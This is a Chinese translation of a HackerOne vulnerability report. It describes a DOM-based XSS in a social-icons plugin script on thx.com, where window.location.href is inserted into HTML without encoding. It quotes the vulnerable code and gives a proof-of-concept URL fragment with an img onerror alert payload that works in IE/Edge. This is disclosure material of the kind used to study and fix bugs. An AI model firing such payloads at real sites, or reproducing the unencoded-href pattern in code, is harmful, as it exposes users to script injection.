HackerOne | 目标DOM型XSS在IE/Edge浏览器

  • 2019 年 12 月 15 日
  • 筆記

漏洞信息

发现者:enesdexh1

漏洞种类:DOM型XSS

危害等级:中危

漏洞状态:已修复

前言

我刚刚发现,由于https://www.thx.com/assets/plugins/ultimate-social-media-icons/js/custom.js?ver=5.2.3 js文件容易利用导致DOM型XSS漏洞

漏洞再现

首先,我想说,这是有漏洞的代码

function sfsi_mobile_wechat_share(url) {      if (jQuery('.sfsi_wechat_follow_overlay').length == 0) {          jQuery('body').append(              "<div class='sfsi_wechat_follow_overlay sfsi_overlay show'><div class='sfsi_inner_display'><a class='close_btn' href='' onclick="event.preventDefault();close_overlay('.sfsi_wechat_follow_overlay')" >×</a><div style='width:95%; min-height:80%;background-color:#fff;margin:0 auto;margin:30% auto;padding: 20px 0;'><div style='width:90%;margin: 0 auto;'><input type='text' value='" +              window.location.href +              "' style='width:100%;padding:7px 0;text-align:center' /></div><div style='width:80%;margin:10px auto 0 auto'><div class='sfsi_upload_butt_container' ><button onclick='sfsi_copy_text_parent_input(event)' class='upload_butt' >Copy</button></div><div class='sfsi_upload_butt_container' ><a href='weixin://' class='upload_butt'>Open WeChat</a></div></div></div></div>"          );

正如你所看到window.location.href是脆弱的DOM型XSS,因为没有编码

首先去主页https://www.thx.com/,然后添加

#'><img src=x onerror=alert(document.domain)>

像这样

https://www.thx.com/#'%3E<img src=x onerror=alert(document.domain)>

但是,Chrome和Firefox将无法正常工作,因为他们有location.href默认编码,只有微软Edge和IE浏览器能够执行

如图:

漏洞影响

1、黑客执行恶意代码受害者的浏览器 2、跳转到恶意网站 3、任意js代码可以在受害者的浏览器中执行

翻译自hackerone